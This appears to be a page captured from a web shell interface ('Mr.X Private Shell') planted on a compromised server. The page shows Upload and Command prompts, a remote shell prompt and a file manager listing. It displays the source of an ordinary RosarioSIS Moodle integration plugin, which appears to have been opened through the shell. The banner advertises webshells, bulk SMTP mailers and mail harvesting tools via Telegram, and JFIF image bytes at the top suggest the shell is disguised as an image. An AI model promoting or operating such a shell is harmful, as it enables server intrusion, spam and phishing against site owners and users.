����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

eblama1@216.73.217.57: ~ $
<?php

require_once 'plugins/Moodle/getconfig.inc.php';

if ( basename( $_SERVER['PHP_SELF'] ) === 'index.php' )
{
	/**
	 * Automatic Moodle Student Account Creation
	 *
	 * @since 6.0
	 */
	add_action( 'Students/Student.php|header', 'MoodleTriggered' );
	add_action( 'Students/Student.php|create_student_checks', 'MoodleTriggered' );
	add_action( 'Students/Student.php|create_student', 'MoodleTriggered' );
}

// Check Moodle plugin configuration options are set / logged in.
elseif ( MoodleConfig() )
{
	// Register plugin functions to be hooked.
	add_action( 'Students/Student.php|header', 'MoodleTriggered' );
	add_action( 'Students/Student.php|create_student_checks', 'MoodleTriggered' );
	add_action( 'Students/Student.php|create_student', 'MoodleTriggered' );
	add_action( 'Students/Student.php|update_student_checks', 'MoodleTriggered' );
	add_action( 'Students/Student.php|update_student', 'MoodleTriggered' );
	add_action( 'Students/Student.php|upload_student_photo', 'MoodleTriggered' );
	add_action( 'Students/Student.php|add_student_address', 'MoodleTriggered' );
	add_action( 'Students/Student.php|update_student_address', 'MoodleTriggered' );
	add_action( 'Students/Student.php|delete_student', 'MoodleTriggered' );

	add_action( 'Students/AddUsers.php|user_assign_role', 'MoodleTriggered' );
	add_action( 'Students/AddUsers.php|user_unassign_role', 'MoodleTriggered' );

	add_action( 'Users/User.php|header', 'MoodleTriggered' );
	add_action( 'Users/User.php|create_user_checks', 'MoodleTriggered' );
	add_action( 'Users/User.php|create_user', 'MoodleTriggered' );
	add_action( 'Users/User.php|update_user_checks', 'MoodleTriggered' );
	add_action( 'Users/User.php|update_user', 'MoodleTriggered' );
	add_action( 'Users/User.php|upload_user_photo', 'MoodleTriggered' );
	add_action( 'Users/User.php|delete_user', 'MoodleTriggered' );

	add_action( 'Users/AddStudents.php|user_assign_role', 'MoodleTriggered' );
	add_action( 'Users/AddStudents.php|user_unassign_role', 'MoodleTriggered' );

	add_action( 'Custom/CreateParents.php|create_user', 'MoodleTriggered' );
	add_action( 'Custom/CreateParents.php|user_assign_role', 'MoodleTriggered' );

	add_action( 'Grades/Assignments.php|create_assignment', 'MoodleTriggered' );
	add_action( 'Grades/Assignments.php|update_assignment', 'MoodleTriggered' );
	add_action( 'Grades/Assignments.php|delete_assignment', 'MoodleTriggered' );

	add_action( 'Scheduling/Courses.php|header', 'MoodleTriggered' );
	add_action( 'Scheduling/Courses.php|create_course_subject', 'MoodleTriggered' );
	add_action( 'Scheduling/Courses.php|create_course', 'MoodleTriggered' );
	add_action( 'Scheduling/Courses.php|create_course_period', 'MoodleTriggered' );
	add_action( 'Scheduling/Courses.php|update_course_subject', 'MoodleTriggered' );
	add_action( 'Scheduling/Courses.php|update_course', 'MoodleTriggered' );
	add_action( 'Scheduling/Courses.php|update_course_period', 'MoodleTriggered' );
	add_action( 'Scheduling/Courses.php|delete_course_subject', 'MoodleTriggered' );
	add_action( 'Scheduling/Courses.php|delete_course', 'MoodleTriggered' );
	add_action( 'Scheduling/Courses.php|delete_course_period', 'MoodleTriggered' );

	add_action( 'Scheduling/MassSchedule.php|schedule_student', 'MoodleTriggered' );
	add_action( 'Scheduling/MassDrops.php|drop_student', 'MoodleTriggered' );
	add_action( 'Scheduling/Schedule.php|drop_student', 'MoodleTriggered' );
	add_action( 'Scheduling/Schedule.php|schedule_student', 'MoodleTriggered' );
	add_action( 'Scheduling/Scheduler.php|schedule_student', 'MoodleTriggered' );

	add_action( 'School_Setup/Calendar.php|event_field', 'MoodleTriggered' );
	add_action( 'School_Setup/Calendar.php|create_calendar_event', 'MoodleTriggered' );
	add_action( 'School_Setup/Calendar.php|update_calendar_event', 'MoodleTriggered' );
	add_action( 'School_Setup/Calendar.php|delete_calendar_event', 'MoodleTriggered' );

	add_action( 'School_Setup/PortalNotes.php|portal_note_field', 'MoodleTriggered', 2 );
	add_action( 'School_Setup/PortalNotes.php|create_portal_note', 'MoodleTriggered' );
	add_action( 'School_Setup/PortalNotes.php|update_portal_note', 'MoodleTriggered' );
	add_action( 'School_Setup/PortalNotes.php|delete_portal_note', 'MoodleTriggered' );

	add_action( 'School_Setup/Rollover.php|rollover_checks', 'MoodleTriggered' );

	add_action( 'School_Setup/Rollover.php|rollover_after', 'MoodleTriggered' );
}

/**
 * Moodle Triggered function.
 * Will redirect to Moodle() function with the right WebService function name.
 *
 * @param string $hook_tag Hook tag.
 * @param string $arg1     Hook argument 1.
 *
 * @return bool False if ! MoodleConfig(), else true if action found.
 */
function MoodleTriggered( $hook_tag, $arg1 = '' )
{
	global $error;

	if ( ! MoodleConfig() )
	{
		// Moodle plugin configuration options are not set / not logged in / no UserSchool().
		return false;
	}

	list( $modname, $action ) = explode( '|', $hook_tag );

	switch ( $hook_tag )
	{
/***************STUDENTS**/
		/*Students/Student.php*/
		case 'Students/Student.php|header':
			//propose to create student in Moodle: if 1) this is a creation, 2) this is an already created student but not in Moodle yet

			if ( AllowEdit()
				&& User( 'PROFILE' ) === 'admin'
				&& ( ! isset( $_REQUEST['category_id'] )
					|| $_REQUEST['category_id'] == 1 ) ) // General Info.
			{
				//2) verify the student is not in Moodle:

				if ( UserStudentID() )
				{
					$old_student_in_moodle = (bool) MoodleXRosarioGet( 'student_id', UserStudentID() );
				}

				if ( $_REQUEST['student_id'] === 'new'
					|| ! $old_student_in_moodle )
				{
					DrawHeader( CheckBoxOnclick(
						'moodle_create_student',
						_( 'Create Student in Moodle' )
					) );
				}
			}
			elseif ( basename( $_SERVER['PHP_SELF'] ) === 'index.php'
				&& Config( 'CREATE_STUDENT_ACCOUNT_AUTOMATIC_ACTIVATION' ) )
			{
				$_REQUEST['moodle_create_student'] = true;
			}

			break;

		case 'Students/Student.php|create_student_checks':
			if ( ! empty( $_REQUEST['moodle_create_student'] )
				&& ! MoodlePasswordCheck( $_REQUEST['students']['PASSWORD'] ) )
			{
				$error[] = _( 'Please enter a valid password' );
			}
			elseif ( Config( 'CREATE_STUDENT_ACCOUNT_AUTOMATIC_ACTIVATION' )
				&& basename( $_SERVER['PHP_SELF'] ) === 'index.php' )
			{
				// @since 5.9 Automatic Moodle Student Account Creation.
				$_REQUEST['moodle_create_student'] = true;

				// Moodle creates user password: Do not check password.
			}

			if ( ! empty( $_REQUEST['moodle_create_student'] )
				&& ( empty( $_REQUEST['students']['USERNAME'] )
					|| empty( $_REQUEST['students'][ROSARIO_STUDENTS_EMAIL_FIELD] ) ) )
			{
				// Username, email required.
				$error[] = _( 'Please fill in the required fields' );
			}

			break;

		case 'Students/Student.php|create_student':
			if ( ! empty( $_REQUEST['moodle_create_student'] ) )
			{
				if ( Config( 'CREATE_STUDENT_ACCOUNT_AUTOMATIC_ACTIVATION' )
					&& basename( $_SERVER['PHP_SELF'] ) === 'index.php' )
				{
					// @since 5.9 Automatic Moodle Student Account Creation.
					// Moodle creates user password.
					$_REQUEST['students']['PASSWORD'] = '';
				}

				Moodle( $modname, 'core_user_create_users' );
			}

			break;

		case 'Students/Student.php|update_student_checks':
			if ( ! empty( $_REQUEST['moodle_create_student'] )
				&& ! MoodlePasswordCheck( $_REQUEST['students']['PASSWORD'] ) )
			{
				$error[] = _( 'Please enter a valid password' );
			}

			if ( ! empty( $_REQUEST['moodle_create_student'] )
				&& ( empty( $_REQUEST['students']['USERNAME'] )
					|| empty( $_REQUEST['students'][ROSARIO_STUDENTS_EMAIL_FIELD] ) ) )
			{
				// Username, email required.
				$error[] = _( 'Please fill in the required fields' );
			}

			break;

		case 'Students/Student.php|update_student':
			if ( ! empty( $_REQUEST['moodle_create_student'] ) )
			{
				$moodle_user_id = Moodle( $modname, 'core_user_create_users' );

				if ( $moodle_user_id < 0 )
				{
					// @since 5.9 Moodle circumvent bug: no response or error but User created.
					// Get User ID right after creation and try to save it.
					Moodle( $modname, 'core_user_get_users' );
				}

				//relate parent if exists
				Moodle( $modname, 'core_role_assign_roles' );
			}
			else
			{
				Moodle( $modname, 'core_user_update_users' );
			}

			break;

		case 'Students/Student.php|upload_student_photo':
			Moodle( $modname, 'core_files_upload' );

			break;

		case 'Students/Student.php|add_student_address':
			if ( ! empty( $_REQUEST['values']['students_join_address']['RESIDENCE'] ) )
			{
				Moodle( $modname, 'core_user_update_users' );
			}

			break;

		case 'Students/Student.php|update_student_address':
			$residence = DBGetOne( "SELECT RESIDENCE
				FROM students_join_address
				WHERE ADDRESS_ID='" . (int) $_REQUEST['address_id'] . "'" );

			if ( $residence == 'Y' )
			{
				Moodle( $modname, 'core_user_update_users' );
			}

			break;

		// @since 5.8 Delete Student from Moodle.
		case 'Students/Student.php|delete_student':
			Moodle( $modname, 'core_user_delete_users' );

			break;

		/*Students/AddUsers.php*/
		case 'Students/AddUsers.php|user_assign_role':
			Moodle( $modname, 'core_role_assign_roles' );

			break;

		case 'Students/AddUsers.php|user_unassign_role':
			Moodle( $modname, 'core_role_unassign_roles' );

			break;

/***************USERS**/
		/*Users/User.php*/
		case 'Users/User.php|header':
			global $old_user_in_moodle;

			//propose to create user in Moodle: if
			//1) this is a creation
			//2) this is an already created user but not in Moodle yet
			//3) the users have not been rolled yet

			if ( AllowEdit()
				&& User( 'PROFILE' ) === 'admin'
				&& ( ! isset( $_REQUEST['category_id'] )
					|| $_REQUEST['category_id'] == 1 ) ) // General Info
			{
				//2) verify the user is not in Moodle:

				if ( UserStaffID() )
				{
					$old_user_in_moodle = (bool) MoodleXRosarioGet( 'staff_id', UserStaffID() );
				}

				//3) verify the users have not been rolled yet:
				$users_rolled = false;

				if ( count( DBGet( "SELECT 'ROLLED' FROM staff WHERE SYEAR='" . ( UserSyear() + 1 ) . "'" ) ) )
				{
					$users_rolled = true;
				}

				if (  ( $_REQUEST['staff_id'] === 'new'
					|| ! $old_user_in_moodle )
					&& ! $users_rolled )
				{
					DrawHeader( CheckBoxOnclick(
						'moodle_create_user',
						_( 'Create User in Moodle' )
					) );
				}
			}

			break;

		case 'Users/User.php|create_user_checks':
			if ( ! empty( $_REQUEST['moodle_create_user'] )
				&& ! MoodlePasswordCheck( $_REQUEST['staff']['PASSWORD'] ) )
			{
				$error[] = _( 'Please enter a valid password' );
			}

			if ( ! empty( $_REQUEST['moodle_create_user'] )
				&& ( empty( $_REQUEST['staff']['USERNAME'] )
					|| empty( $_REQUEST['staff']['EMAIL'] ) ) )
			{
				// Username, email required.
				$error[] = _( 'Please fill in the required fields' );
			}

			break;

		case 'Users/User.php|create_user':
			if ( ! empty( $_REQUEST['moodle_create_user'] ) )
			{
				$moodle_user_id = Moodle( $modname, 'core_user_create_users' );

				if ( $moodle_user_id < 0 )
				{
					// @since 5.9 Moodle circumvent bug: no response or error but User created.
					// Get User ID right after creation and try to save it.
					Moodle( $modname, 'core_user_get_users' );
				}

				Moodle( $modname, 'core_role_assign_roles' );
			}

			break;

		case 'Users/User.php|update_user_checks':

			if ( ! empty( $_REQUEST['moodle_create_user'] )
				&& ! MoodlePasswordCheck( $_REQUEST['staff']['PASSWORD'] ) )
			{
				$error[] = _( 'Please enter a valid password' );
			}

			if ( ! empty( $_REQUEST['moodle_create_user'] )
				&& ( empty( $_REQUEST['staff']['USERNAME'] )
					|| empty( $_REQUEST['staff']['EMAIL'] ) ) )
			{
				// Username, email required.
				$error[] = _( 'Please fill in the required fields' );
			}

			break;

		case 'Users/User.php|update_user':
			if ( ! empty( $_REQUEST['moodle_create_user'] ) )
			{
				Moodle( $modname, 'core_user_create_users' );
				Moodle( $modname, 'core_role_assign_roles' );
			}
			elseif ( MoodleXRosarioGet( 'staff_id', UserStaffID() ) )
			{
				Moodle( $modname, 'core_user_update_users' );
				Moodle( $modname, 'core_role_unassign_roles' );
				Moodle( $modname, 'core_role_assign_roles' );
			}

			break;

		case 'Users/User.php|upload_user_photo':
			Moodle( $modname, 'core_files_upload' );

			break;

		case 'Users/User.php|delete_user':
			Moodle( $modname, 'core_user_delete_users' );

			break;

		/*Users/AddStudents.php*/
		case 'Users/AddStudents.php|user_assign_role':
			Moodle( $modname, 'core_role_assign_roles' );

			break;

		case 'Users/AddStudents.php|user_unassign_role':
			Moodle( $modname, 'core_role_unassign_roles' );

			break;

/***************CUSTOM**/
		/*Custom/CreateParents.php*/
		case 'Custom/CreateParents.php|create_user':
			Moodle( $modname, 'core_user_create_users' );

			break;

		case 'Custom/CreateParents.php|user_assign_role':
			Moodle( $modname, 'core_role_assign_roles' );

			break;

/***************GRADES**/
		/*Grades/Assignments.php*/
		case 'Grades/Assignments.php|create_assignment':
			//add course event to the Moodle calendar
			Moodle( $modname, 'core_calendar_create_calendar_events' );

			break;

		case 'Grades/Assignments.php|update_assignment':
			//delete event then recreate it!
			Moodle( $modname, 'core_calendar_delete_calendar_events' );
			Moodle( $modname, 'core_calendar_create_calendar_events' );

			break;

		case 'Grades/Assignments.php|delete_assignment':
			Moodle( $modname, 'core_calendar_delete_calendar_events' );

			break;

/***************SCHEDULING**/
		/*Scheduling/Courses.php*/
		case 'Scheduling/Courses.php|header':
			//propose to create course period in Moodle: if
			//1) this is a creation,
			//2) this is an already created course period but not in Moodle yet
			//AND 3) if the course is in Moodle

			if ( AllowEdit() )
			{
				//2) verify if the course period is in Moodle:
				$old_course_period_in_moodle = false;

				if ( $_REQUEST['course_period_id'] !== 'new' )
				{
					$old_course_period_in_moodle = (bool) MoodleXRosarioGet( 'course_period_id', $_REQUEST['course_period_id'] );
				}

				//3) verify if the course is in Moodle:
				$course_in_moodle = false;

				if ( $_REQUEST['course_id'] !== 'new' )
				{
					$course_in_moodle = (bool) MoodleXRosarioGet( 'course_id', $_REQUEST['course_id'] );
				}

				if ( $course_in_moodle
					&& ( $_REQUEST['course_period_id'] === 'new'
						|| ! $old_course_period_in_moodle ) )
				{
					DrawHeader( CheckBoxOnclick(
						'moodle_create_course_period',
						_( 'Create Course Period in Moodle' )
					) );
				}
			}

			break;

		case 'Scheduling/Courses.php|create_course_subject':
		case 'Scheduling/Courses.php|create_course':
			Moodle( $modname, 'core_course_create_categories' );

			break;

		case 'Scheduling/Courses.php|create_course_period':
			if ( ! empty( $_REQUEST['moodle_create_course_period'] ) )
			{
				Moodle( $modname, 'core_course_create_courses' );
				Moodle( $modname, 'core_role_assign_roles' );
			}

			break;

		case 'Scheduling/Courses.php|update_course_subject':
		case 'Scheduling/Courses.php|update_course':
			Moodle( $modname, 'core_course_update_categories' );

			break;

		case 'Scheduling/Courses.php|update_course_period':
			//if Course Period is already in Moodle

			if ( MoodleXRosarioGet( 'course_period_id', $_REQUEST['course_period_id'] ) )
			{
				Moodle( $modname, 'core_course_update_courses' );

				//update teacher too
				global $columns, $current;

				if ( ! empty( $columns['TEACHER_ID'] )
					&& $columns['TEACHER_ID'] != $current[1]['TEACHER_ID'] )
				{
					Moodle( $modname, 'core_role_unassign_roles' );
					Moodle( $modname, 'core_role_assign_roles' );
				}
			}

			//this is an already created course period but not in Moodle yet TODO: TEST!!
			elseif ( ! empty( $_REQUEST['moodle_create_course_period'] ) )
			{
				Moodle( $modname, 'core_course_create_courses' );
				Moodle( $modname, 'core_role_assign_roles' );
			}

			break;

		case 'Scheduling/Courses.php|delete_course_subject':
		case 'Scheduling/Courses.php|delete_course':
			Moodle( $modname, 'core_course_delete_categories' );

			break;

		case 'Scheduling/Courses.php|delete_course_period':
			Moodle( $modname, 'core_course_delete_courses' );

			break;

		/*Scheduling/MassSchedule.php*/
		case 'Scheduling/MassSchedule.php|schedule_student':
			Moodle( $modname, 'enrol_manual_enrol_users' );

			break;

		/*Scheduling/MassDrops.php*/
		case 'Scheduling/MassDrops.php|drop_student':
			Moodle( $modname, 'enrol_manual_unenrol_users' );

			break;

		/*Scheduling/Schedule.php*/
		case 'Scheduling/Schedule.php|schedule_student':
			Moodle( $modname, 'enrol_manual_enrol_users' );
			break;

		case 'Scheduling/Schedule.php|drop_student':
			Moodle( $modname, 'enrol_manual_unenrol_users' );
			break;

		/*Scheduling/Scheduler.php*/
		case 'Scheduling/Scheduler.php|schedule_student':
			Moodle( $modname, 'enrol_manual_enrol_users' );
			break;

/***************SCHOOL_SETUP**/
		/*School_Setup/Calendar.php*/
		case 'School_Setup/Calendar.php|event_field':
			// Only if new event.

			if ( ! empty( $_REQUEST['event_id'] )
				&& $_REQUEST['event_id'] === 'new' )
			{
				echo '<tr><td>' . _( 'Publish Event in Moodle?' ) .
				' <label><input type="checkbox" name="MOODLE_PUBLISH_EVENT" value="Y" checked> ' .
				_( 'Yes' ) . '</label></td></tr>';
			}

			break;

		case 'School_Setup/Calendar.php|create_calendar_event':
			global $error;

			if ( ! empty( $_REQUEST['MOODLE_PUBLISH_EVENT'] ) )
			{
				Moodle( $modname, 'core_calendar_create_calendar_events' );

				if ( ! empty( $error ) )
				{
					echo ErrorMessage( $error, 'fatal' ); //display inside popup, before JS closing
				}
			}

			break;

		case 'School_Setup/Calendar.php|update_calendar_event':
			global $error;

			$is_moodle_event = (bool) MoodleXRosarioGet( 'calendar_event_id', $_REQUEST['event_id'] );

			if ( $is_moodle_event )
			{
				//delete event then recreate it!
				Moodle( $modname, 'core_calendar_delete_calendar_events' );

				if ( ! empty( $error ) )
				{
					echo ErrorMessage( $error, 'fatal' ); //display inside popup, before JS closing
				}

				Moodle( $modname, 'core_calendar_create_calendar_events' );

				if ( ! empty( $error ) )
				{
					echo ErrorMessage( $error, 'fatal' ); //display inside popup, before JS closing
				}
			}

			break;

		case 'School_Setup/Calendar.php|delete_calendar_event':
			global $error;

			Moodle( $modname, 'core_calendar_delete_calendar_events' );

			if ( ! empty( $error ) )
			{
				echo ErrorMessage( [ $error ], 'fatal' ); //display inside popup, before JS closing
			}

			break;

		/*School_Setup/PortalNotes.php*/
		case 'School_Setup/PortalNotes.php|portal_note_field':
			$id = $arg1;
			global $return;

			//only if new note

			if ( $id == 'new' )
			{
				$return .= '<tr class="st"><td colspan="2"><b>' . _( 'Publish Note in Moodle?' ) . '</b> <label><input type="checkbox" name="MOODLE_PUBLISH_NOTE" value="Y" /> ' . _( 'Yes' ) . '</label></td></tr>';
			}

			break;

		case 'School_Setup/PortalNotes.php|create_portal_note':
			if ( ! empty( $_REQUEST['MOODLE_PUBLISH_NOTE'] ) )
			{
				Moodle( $modname, 'core_notes_create_notes' );
			}

			break;

		case 'School_Setup/PortalNotes.php|update_portal_note':
			global $columns;

			//update note if title or content modified

			if ( isset( $columns['TITLE'] ) || isset( $columns['CONTENT'] ) )
			{
				Moodle( $modname, 'core_notes_update_notes' );
			}

			break;

		case 'School_Setup/PortalNotes.php|delete_portal_note':
			Moodle( $modname, 'core_notes_delete_notes' );

			break;

		/*School_Setup/Rollover.php*/
		case 'School_Setup/Rollover.php|rollover_checks':
			// RE roll staff or courses

			global $exists_RET, $cp_moodle_id, $cp_teacher_id;

			$next_syear = UserSyear() + 1;

			//reset SUBJECT_ID / COURSE_ID / COURSE_PERIOD_ID to pre-rollover values

			if ( ! empty( $_REQUEST['tables']['courses'] ) && $exists_RET['courses'][1]['COUNT'] )
			{
				//SUBJECT_ID
				DBQuery( "UPDATE moodlexrosario SET ROSARIO_ID=(SELECT ROLLOVER_ID FROM course_subjects WHERE SUBJECT_ID=ROSARIO_ID) WHERE exists(SELECT 1 FROM course_subjects WHERE SUBJECT_ID=ROSARIO_ID AND ROLLOVER_ID IS NOT NULL AND SYEAR='" . $next_syear . "') AND " . DBEscapeIdentifier( 'column' ) . "='subject_id'" );

				//COURSE_ID
				DBQuery( "UPDATE moodlexrosario SET ROSARIO_ID=(SELECT ROLLOVER_ID FROM courses WHERE COURSE_ID=ROSARIO_ID) WHERE exists(SELECT 1 FROM courses WHERE COURSE_ID=ROSARIO_ID AND ROLLOVER_ID IS NOT NULL AND SYEAR='" . $next_syear . "') AND " . DBEscapeIdentifier( 'column' ) . "='course_id'" );

				//COURSE_PERIOD_ID
				$course_periods_RET = DBGet( "SELECT mxc.MOODLE_ID AS CP_MOODLE_ID, cp.TEACHER_ID FROM course_periods cp, moodlexrosario mxc WHERE cp.SYEAR='" . $next_syear . "' AND cp.SCHOOL_ID='" . UserSchool() . "' AND cp.ROLLOVER_ID IS NOT NULL AND cp.ROLLOVER_ID=mxc.ROSARIO_ID AND mxc." . DBEscapeIdentifier( 'column' ) . "='course_period_id'" );

				foreach ( (array) $course_periods_RET as $reset_course_period )
				{
					$cp_moodle_id = $reset_course_period['CP_MOODLE_ID'];
					$cp_teacher_id = $reset_course_period['TEACHER_ID'];

					Moodle( $modname, 'core_role_unassign_roles' );
					Moodle( $modname, 'core_course_delete_courses' );
				}
			}

			//reset STAFF_ID to pre-rollover values
			elseif ( ! empty( $_REQUEST['tables']['staff'] ) && $exists_RET['staff'][1]['COUNT'] )
			{
				DBQuery( "UPDATE moodlexrosario SET ROSARIO_ID=(SELECT ROLLOVER_ID FROM staff WHERE STAFF_ID=ROSARIO_ID) WHERE exists(SELECT 1 FROM staff WHERE STAFF_ID=ROSARIO_ID AND ROLLOVER_ID IS NOT NULL AND SYEAR='" . $next_syear . "') AND " . DBEscapeIdentifier( 'column' ) . "='staff_id'" );
			}

			break;

		case 'School_Setup/Rollover.php|rollover_after':
			$next_syear = UserSyear() + 1;

			if ( ! empty( $_REQUEST['tables']['staff'] ) )
			{
				// STAFF ROLLOVER.
				$staff_RET = DBGet( "SELECT STAFF_ID,ROLLOVER_ID FROM staff WHERE SYEAR='" . $next_syear . "' AND ROLLOVER_ID IS NOT NULL" );

				foreach ( (array) $staff_RET as $value )
				{
					DBQuery( "UPDATE moodlexrosario SET ROSARIO_ID='" . (int) $value['STAFF_ID'] . "' WHERE ROSARIO_ID='" . (int) $value['ROLLOVER_ID'] . "' AND " . DBEscapeIdentifier( 'column' ) . "='staff_id'" );
				}
			}

			if ( ! empty( $_REQUEST['tables']['courses'] ) )
			{
				// course_subjects ROLLOVER.
				$course_subjects_RET = DBGet( "SELECT SUBJECT_ID,ROLLOVER_ID FROM course_subjects WHERE SYEAR='" . $next_syear . "' AND SCHOOL_ID='" . UserSchool() . "' AND ROLLOVER_ID IS NOT NULL" );

				foreach ( (array) $course_subjects_RET as $value )
				{
					DBQuery( "UPDATE moodlexrosario SET ROSARIO_ID='" . (int) $value['SUBJECT_ID'] . "' WHERE ROSARIO_ID='" . (int) $value['ROLLOVER_ID'] . "' AND " . DBEscapeIdentifier( 'column' ) . "='subject_id'" );
				}

				// courses ROLLOVER.
				$courses_RET = DBGet( "SELECT COURSE_ID,ROLLOVER_ID
					FROM courses
					WHERE SYEAR='" . $next_syear . "'
					AND SCHOOL_ID='" . UserSchool() . "'
					AND ROLLOVER_ID IS NOT NULL" );

				foreach ( (array) $courses_RET as $value )
				{
					DBQuery( "UPDATE moodlexrosario
						SET ROSARIO_ID='" . (int) $value['COURSE_ID'] . "'
						WHERE ROSARIO_ID='" . (int) $value['ROLLOVER_ID'] . "'
						AND " . DBEscapeIdentifier( 'column' ) . "='course_id'" );
				}

				// course_periods ROLLOVER.
				global $rolled_course_period, $next_syear;

				$course_periods_RET = DBGet( "SELECT cp.COURSE_PERIOD_ID,cp.COURSE_ID,cp.SHORT_NAME,cp.MARKING_PERIOD_ID,cp.TEACHER_ID
					FROM course_periods cp,moodlexrosario mxc
					WHERE cp.SYEAR='" . $next_syear . "'
					AND cp.SCHOOL_ID='" . UserSchool() . "'
					AND cp.ROLLOVER_ID IS NOT NULL
					AND cp.ROLLOVER_ID=mxc.ROSARIO_ID
					AND mxc." . DBEscapeIdentifier( 'column' ) . "='course_period_id'" );

				foreach ( (array) $course_periods_RET as $rolled_course_period )
				{
					Moodle( $modname, 'core_course_create_courses' );
					Moodle( $modname, 'core_role_assign_roles' );
				}
			}

			break;

		default:
			return false;
	}

	return true;
}


/**
 * Moodle integrator function
 * Will call 2 functions (`[$moodle_functionname]_object` and `[$moodle_functionname]_response`)
 * from a file named after $modname.
 * Will call `[$moodle_functionname]_object` to get the Moodle WS function object param.
 * Will call `[$moodle_functionname]_response` to handle Moodle WS function response.
 *
 * @uses MoodleAPICall() function to send the object to Moodle via XML-RPC or REST.
 *
 * @since 5.9 Return result from `[$moodle_functionname]_response`.
 *
 * @param string $modname             Module name.
 * @param string $moodle_functionname Moodle Webservice function name.
 *
 * @return `[$moodle_functionname]_response` return.
 */
function Moodle( $modname, $moodle_functionname )
{
	require_once 'plugins/Moodle/' . $modname;

	require_once 'plugins/Moodle/client.php';

	// First, get the right object corresponding to the web service.
	$object = call_user_func( $moodle_functionname . '_object' );

	// Finally, send the object.
	return MoodleAPICall( $moodle_functionname, $object );
}

/**
 * Check Moodle password
 * The password must have at least 8 characters, at least 1 digit, at least 1 lower case letter, at least 1 upper case letter, at least 1 non-alphanumeric character
 *
 * @param string $password Password.
 *
 * @return bool True if password empty or if complies with Moodle policy.
 */
function MoodlePasswordCheck( $password )
{
	if ( empty( $password ) )
	{
		// @since 5.9 Moodle creates user password if left empty.
		return true;
	}

	if ( mb_strlen( $password ) < 8 || ! preg_match( '/[^a-zA-Z0-9]+/', $password ) || ! preg_match( '/[a-z]+/', $password ) || ! preg_match( '/[A-Z]+/', $password ) || ! preg_match( '/[0-9]+/', $password ) )
	{
		return false;
	}

	return true;
}

/**
 * Get Moodle ID by RosarioSIS ID
 *
 * @since 6.0
 *
 * @uses moodlexrosario DB cross table.
 *
 * @param string $column     Column, what type of object.
 * @param int    $rosario_id RosarioSIS ID.
 *
 * @return int 0 or Moodle ID.
 */
function MoodleXRosarioGet( $column, $rosario_id )
{
	if ( ! $column
		|| ! $rosario_id )
	{
		return 0;
	}

	return (int) DBGetOne( "SELECT moodle_id
		FROM moodlexrosario
		WHERE rosario_id='" . (int) $rosario_id . "'
		AND " . DBEscapeIdentifier( 'column' ) . "='" . DBEscapeString( $column ) . "'" );
}

Filemanager

Name Type Size Permission Actions
Custom Folder 0755
Grades Folder 0755
Scheduling Folder 0755
School_Setup Folder 0755
Students Folder 0755
Users Folder 0755
includes Folder 0755
README.md File 1.83 KB 0644
client.php File 3.62 KB 0644
config.inc.php File 8.44 KB 0644
functions.php File 25.87 KB 0644
getconfig.inc.php File 1.3 KB 0644